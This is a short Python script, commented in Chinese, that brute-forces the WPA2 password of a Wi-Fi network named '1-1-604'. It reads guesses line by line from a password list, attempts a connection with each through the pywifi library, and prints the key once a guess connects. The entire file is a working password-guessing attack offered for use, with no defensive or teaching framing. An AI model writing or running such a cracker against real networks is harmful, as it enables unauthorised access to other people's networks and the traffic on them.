import pywifi
from pywifi import const
import time
# 测试连接，返回链接结果

#def wifi_connect(pwd):

# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
wireless_network = wifi.interfaces()[0]
# 断开所有连接
wireless_network.disconnect()
#   打开密码本文件
file = open("pwd.txt", "r")
wifi_status = wireless_network.status()
if wifi_status == const.IFACE_DISCONNECTED:
    # 创建WiFi连接文件
    wifi_file = pywifi.Profile()
    # 要连接WiFi的名称
    wifi_file.ssid = "1-1-604"
    # 显示正在尝试连接的WiFi的名称
    print("正在尝试连接%s..." %wifi_file.ssid)
    # 网卡的开放状态
    wifi_file.auth = const.AUTH_ALG_OPEN
    # wifi加密算法,一般wifi加密算法为wps
    wifi_file.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密单元
    wifi_file.cipher = const.CIPHER_TYPE_CCMP
    while True:
        # 调用密码        wifi_file.key = pwd
        wifi_file.key = file.readline()
        if not wifi_file.key:
            print("密码读取完毕!")
            break #   密码读取完毕，则跳出while循环
        # 删除所有连接过的wifi文件
        wireless_network.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = wireless_network.add_network_profile(wifi_file)
        wireless_network.connect(tep_profile)
        # wifi连接时间
        time.sleep(3)
        if wireless_network.status() == const.IFACE_CONNECTED:
            print("破解成功！密码: %s" %(wifi_file.key))
            break
        else:
            print("尝试密码: %s    失败" %(wifi_file.key))

else:
    print("已有wifi连接")
file.close()
